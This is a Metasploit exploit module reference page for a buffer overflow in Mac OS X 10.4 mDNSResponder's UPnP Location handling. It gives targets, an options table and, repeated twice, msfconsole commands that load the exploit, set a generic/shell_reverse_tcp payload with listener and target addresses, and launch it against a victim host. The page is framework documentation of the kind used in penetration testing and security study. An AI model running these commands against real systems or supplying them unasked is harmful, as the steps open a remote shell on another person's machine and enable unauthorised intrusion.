Mac OS X mDNSResponder UPnP Location Overflow
This module exploits a buffer overflow that occurs when processing specially crafted requests set to mDNSResponder. All Mac OS X systems between version 10.4 and 10.4.9 (without the 2007-005 patch) are affected.
Exploit Rank
- Average
Exploit Authors
- ddz < ddz [at] theta44.org >
Vulnerability References
Exploit Targets
- 0 - 10.4.8 x86
- 1 - 10.4.0 PPC (default)
Exploit Development
Similar Exploit Modules
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/osx/mdns/upnp_location
msf exploit(upnp_location) > show payloads
msf exploit(upnp_location) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(upnp_location) > set LHOST [MY IP ADDRESS]
msf exploit(upnp_location) > set LHOST [MY IP ADDRESS]
msf exploit(upnp_location) > set RHOST [TARGET IP]
msf exploit(upnp_location) > set RPORT [TARGET PORT]
msf exploit(upnp_location) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/osx/mdns/upnp_location
msf exploit(upnp_location) > show payloads
msf exploit(upnp_location) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(upnp_location) > set LHOST [MY IP ADDRESS]
msf exploit(upnp_location) > set LHOST [MY IP ADDRESS]
msf exploit(upnp_location) > set RHOST [TARGET IP]
msf exploit(upnp_location) > set RPORT [TARGET PORT]
msf exploit(upnp_location) > exploit
Exploit Module Options
| LHOST | The listen address |
| RHOST | The target address |
| RPORT | The target port |
| SRVPORT | The UPNP server port to listen on (default: 1900) |
| CHOST | The local client address |
| CPORT | The local client port |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
